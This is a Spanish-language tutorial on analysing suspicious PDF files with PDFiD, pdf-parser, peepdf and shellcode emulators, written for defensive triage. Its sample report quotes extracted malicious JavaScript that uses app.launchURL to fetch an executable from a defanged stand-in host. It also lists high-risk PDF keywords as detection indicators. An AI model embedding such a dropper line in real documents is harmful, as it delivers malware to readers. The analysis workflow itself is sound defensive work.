¿Qué hace Análisis de PDF maliciosos con PDFiD?
Cuándo usarlo
- Un archivo PDF adjunto sospechoso ha sido marcado por la seguridad del correo o reportado por un usuario
- Necesitas determinar si un PDF contiene JavaScript incrustado, shellcode o código de exploit
- Triaje de documentos PDF antes de abrirlos en un sandbox o entorno de análisis
- Extraer ejecutables incrustados, scripts o URLs de objetos PDF maliciosos
- Analizar kits de exploits PDF que atacan Adobe Reader u otras vulnerabilidades de visores PDF
No usar para analizar el contenido visual renderizado de un PDF; esto es para análisis estructural del formato de archivo PDF en busca de objetos maliciosos.
Prerrequisitos
- Python 3.8+ con las herramientas PDF de Didier Stevens instaladas (
pip install pdfid pdf-parser) - peepdf instalado para análisis interactivo de PDF (
pip install peepdf) - pdftotext de poppler-utils para extraer contenido de texto de forma segura
- YARA con reglas específicas para PDF para identificación de familias de malware
- Máquina virtual de análisis aislada sin un lector de PDF instalado (evitar apertura accidental)
- CyberChef para decodificar streams Base64, hex o deflate incrustados
Flujo de trabajo
Paso 1: Triaje inicial con PDFiD
Escanea el PDF en busca de palabras clave y estructuras sospechosas:
# Ejecutar PDFiD para identificar elementos sospechosos
pdfid sospechoso.pdf
# Análisis de salida esperada:
# /JS - JavaScript (ALTO riesgo)
# /JavaScript - Objeto JavaScript (ALTO riesgo)
# /AA - Acción automática activada al abrir (ALTO riesgo)
# /OpenAction - Acción al abrir el documento (ALTO riesgo)
# /Launch - Lanzar aplicación externa (ALTO riesgo)
# /EmbeddedFile - Archivo incrustado (MEDIO riesgo)
# /RichMedia - Contenido Flash (MEDIO riesgo)
# /ObjStm - Flujo de objetos (usado para ofuscación)
# /URI - Referencia a URL (riesgo contextual)
# /AcroForm - Formulario interactivo (MEDIO riesgo)
# Ejecutar con detalle extra
pdfid -e sospechoso.pdf
# Ejecutar con desarme (renombrar palabras clave sospechosas)
pdfid -d sospechoso.pdf
Evaluación de Riesgo PDFiD:
━━━━━━━━━━━━━━━━━━━━━
Indicadores de ALTO RIESGO (cualquier recuento > 0):
/JS, /JavaScript -> Código JavaScript incrustado
/AA -> Acción Automática (se activa sin interacción del usuario)
/OpenAction -> El código se ejecuta al abrir el documento
/Launch -> Puede lanzar ejecutables externos
/JBIG2Decode -> Asociado con el exploit CVE-2009-0658
Indicadores de MEDIO RIESGO:
/EmbeddedFile -> Contiene archivos incrustados (podría ser EXE/DLL)
/RichMedia -> Flash/multimedia (exploits Flash)
/AcroForm -> Formulario con posible acción de envío
/XFA -> Arquitectura de Formularios XML (superficie de ataque compleja)
Indicadores de BAJO RIESGO:
/ObjStm -> Flujos de objetos (técnica de ofuscación)
/URI -> Referencias a URLs externas
/Page -> Número de páginas (solo contexto)
Paso 2: Analizar la estructura del PDF con pdf-parser
Examina los objetos sospechosos identificados por PDFiD:
# Listar todos los objetos que hacen referencia a JavaScript
pdf-parser --search "/JavaScript" sospechoso.pdf
pdf-parser --search "/JS" sospechoso.pdf
# Listar todos los objetos con OpenAction
pdf-parser --search "/OpenAction" sospechoso.pdf
# Extraer un objeto específico por ID (ejemplo: objeto 5)
pdf-parser --object 5 sospechoso.pdf
# Extraer y descomprimir el contenido del stream
pdf-parser --object 5 --filter --raw sospechoso.pdf
# Buscar archivos incrustados
pdf-parser --search "/EmbeddedFile" sospechoso.pdf
# Listar todos los objetos con sus tipos
pdf-parser --stats sospechoso.pdf
Paso 3: Extraer y analizar JavaScript incrustado
Extrae el código JavaScript de los objetos PDF:
# Extraer JavaScript usando pdf-parser
pdf-parser --search "/JS" --raw --filter sospechoso.pdf > js_extraido.txt
# Alternativa: Usar peepdf para extracción interactiva de JavaScript
peepdf -f -i sospechoso.pdf << 'EOF'
js_analyse
EOF
# Comandos interactivos de peepdf para análisis de JS:
# js_analyse - Extraer y mostrar todo el código JavaScript
# js_beautify - Formatear el JavaScript extraído
# js_eval <objeto> - Evaluar JavaScript en un entorno aislado
# object <id> - Mostrar el contenido del objeto
# rawobject <id> - Mostrar los bytes sin procesar del objeto
# stream <id> - Mostrar el stream descomprimido
# offsets - Mostrar offsets de objetos en el archivo
# Script en Python para extracción completa de JavaScript en PDF
import subprocess
import re
# Extraer todos los streams y buscar referencias a JavaScript
resultado = subprocess.run(
["pdf-parser", "--stats", "sospechoso.pdf"],
capture_output=True, text=True
)
# Encontrar IDs de objetos que contienen referencias a JavaScript
objetos_js = []
for linea in resultado.stdout.split('\n'):
if '/JavaScript' in linea or '/JS' in linea:
obj_id = re.search(r'obj (\d+)', linea)
if obj_id:
objetos_js.append(obj_id.group(1))
# Extraer cada objeto que contiene JavaScript
for obj_id in objetos_js:
resultado = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "sospechoso.pdf"],
capture_output=True, text=True
)
print(f"\n=== Objeto {obj_id} ===")
print(resultado.stdout[:2000])
Paso 4: Analizar shellcode incrustado
Extrae y examina el shellcode de exploits PDF:
# Extraer datos de stream sin procesar para análisis de shellcode
pdf-parser --object 7 --filter --raw --dump shellcode.bin sospechoso.pdf
# Analizar shellcode con scdbg (depurador de shellcode)
scdbg /f shellcode.bin
# Alternativa: Usar speakeasy para emulación de shellcode
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
dir_sc = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(dir_sc, count=1000)
# Revisar las llamadas API realizadas por el shellcode
for evento in se.get_report()['api_calls']:
print(f\"{evento['api']}: {evento['args']}\")
"
# Usar CyberChef para decodificar shellcode codificado en hex/base64
# Entrada: Datos de stream extraídos
# Receta: From Hex -> Disassemble x86
Paso 5: Extraer archivos y URLs incrustados
Extrae los ejecutables incrustados y los recursos enlazados:
# Extraer archivos incrustados del PDF
import subprocess
import hashlib
# Encontrar objetos de archivo incrustado
resultado = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "sospechoso.pdf"],
capture_output=True
)
# Extraer archivos PE incrustados buscando el encabezado MZ
with open("sospechoso.pdf", "rb") as f:
datos = f.read()
# Buscar archivos PE incrustados
offset = 0
while True:
pos = datos.find(b'MZ', offset)
if pos == -1:
break
# Verificar la firma PE
if pos + 0x3C < len(datos):
pe_offset = int.from_bytes(datos[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(datos) and datos[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"PE incrustado encontrado en offset 0x{pos:X}")
# Extraer (estimar tamaño o usar encabezado PE)
incrustado = datos[pos:pos+100000] # Extracción inicial
sha256 = hashlib.sha256(incrustado).hexdigest()
with open(f"incrustado_{pos:X}.exe", "wb") as out:
out.write(incrustado)
print(f" SHA-256: {sha256}")
offset = pos + 1
# Extraer URLs del PDF
resultado = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "sospechoso.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>\"]+)', resultado.stdout)
for url in set(urls):
print(f"URL: {url}")
Paso 6: Generar informe de análisis
Documenta todos los hallazgos del análisis del PDF:
El análisis debe cubrir:
- Resultados del triaje con PDFiD (recuento de palabras clave sospechosas)
- Anomalías en la estructura del PDF (flujos de objetos, problemas de tabla de referencias cruzadas)
- Código JavaScript extraído (desofuscado si es necesario)
- Resultados del análisis de shellcode (llamadas API, indicadores de red)
- Archivos incrustados extraídos con hashes
- URLs y referencias externas
- Identificación de CVE si se detecta un exploit conocido
- Coincidencias con reglas YARA contra familias conocidas de malware PDF
Conceptos clave
| Término | Definición |
|---|---|
| Objeto PDF | Componente básico de un archivo PDF; los objetos pueden contener streams (datos comprimidos), diccionarios, arrays y referencias a otros objetos |
| OpenAction | Entrada de diccionario PDF que especifica una acción a ejecutar cuando se abre el documento; comúnmente usado para activar exploits JavaScript |
| Stream PDF | Datos comprimidos dentro de un objeto PDF que pueden contener JavaScript, imágenes, archivos incrustados o shellcode; típicamente comprimido con FlateDecode |
| FlateDecode | Filtro de compresión Zlib/deflate aplicado a streams PDF; debe descomprimirse para analizar el contenido |
| ObjStm (Flujo de objetos) | Característica de PDF que almacena múltiples objetos en un único stream comprimido; usada por malware para ocultar objetos sospechosos de analizadores simples |
| JBIG2 | Estándar de compresión de imágenes en PDFs; fuente histórica de exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
| API JavaScript de PDF | Extensiones JavaScript específicas de Adobe disponibles en documentos PDF para manipulación de formularios, acceso a red e interacción con el SO |
Herramientas y sistemas
- PDFiD: Herramienta de Didier Stevens para escanear documentos PDF en busca de palabras clave y estructuras sospechosas sin analizar el documento completo
- pdf-parser: Herramienta complementaria a PDFiD para extracción detallada de objetos PDF, descompresión de streams y análisis de contenido
- peepdf: Herramienta de análisis de PDF basada en Python que proporciona un shell interactivo para inspección de objetos y extracción de JavaScript
- QPDF: Herramienta de transformación de PDF para linealizar, descifrar y reestructurar PDFs para un análisis más fácil
- scdbg: Herramienta de análisis de shellcode que emula la ejecución de shellcode x86 y registra las llamadas API
Escenarios comunes
Escenario: Triaje de un PDF de phishing con JavaScript incrustado
Contexto: La puerta de enlace de correo marcó un archivo PDF adjunto con indicadores sospechosos de JavaScript. El equipo de seguridad necesita determinar si contiene un exploit o una redirección de ingeniería social.
Enfoque:
- Ejecutar PDFiD para confirmar la presencia y el recuento de /JS, /JavaScript y /OpenAction
- Usar pdf-parser para extraer el objeto OpenAction y seguir su cadena de referencias
- Extraer el código JavaScript del objeto stream referenciado (aplicar filtro FlateDecode)
- Desofuscar el JavaScript (decodificar cadenas hex, resolver cadenas eval)
- Determinar si el script explota una vulnerabilidad del lector de PDF (buscar heap spray, cadenas ROP) o realiza una redirección
- Extraer todas las URLs, IPs y archivos incrustados como IOCs
- Clasificar la muestra: exploit (CVE específico) o ingeniería social (redirección/phishing)
Errores comunes:
- Abrir el PDF en un lector estándar en lugar de analizarlo con herramientas de línea de comandos
- No detectar JavaScript oculto dentro de Flujos de Objetos (/ObjStm) que PDFiD detecta pero los analizadores simples pasan por alto
- No descomprimir los streams antes del análisis (filtros FlateDecode, ASCIIHexDecode, ASCII85Decode)
- Asumir que la ausencia de /JS significa que no hay JavaScript; el código puede estar incrustado en campos de formulario (/AcroForm con /XFA)
Formato de salida
INFORME DE ANÁLISIS DE MALWARE PDF
======================================
Archivo: factura_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
Tamaño del archivo: 45,312 bytes
Versión PDF: 1.7
TRIAJE PDFID
/JS: 1 [ALTO RIESGO]
/JavaScript: 1 [ALTO RIESGO]
/OpenAction: 1 [ALTO RIESGO]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [OFUSCACIÓN]
OBJETOS SOSPECHOSOS
Objeto 5: /OpenAction -> hace referencia al Objeto 8
Objeto 8: /JavaScript stream (FlateDecode, 2,847 bytes descomprimidos)
Objeto 12: /ObjStm que contiene objetos 15-18
JAVASCRIPT EXTRAÍDO
Capa 1: eval(unescape("%68%65%6C%6C%6F"))
Capa 2: var url = "hxxp://malicioso[.]com/payload.exe";
app.launchURL(url, true);
// Redirección de ingeniería social, no es exploit
IOCS EXTRAÍDOS
URLs: hxxp://malicioso[.]com/payload.exe
hxxps://falso-login[.]com/adobe/verify
Dominios: malicioso[.]com, falso-login[.]com
CLASIFICACIÓN
Tipo: Ingeniería Social (redirección URL)
CVE: Ninguno (no se detectó código de exploit)
Riesgo: ALTO (descarga payload ejecutable)
Familia: Generic PDF Dropper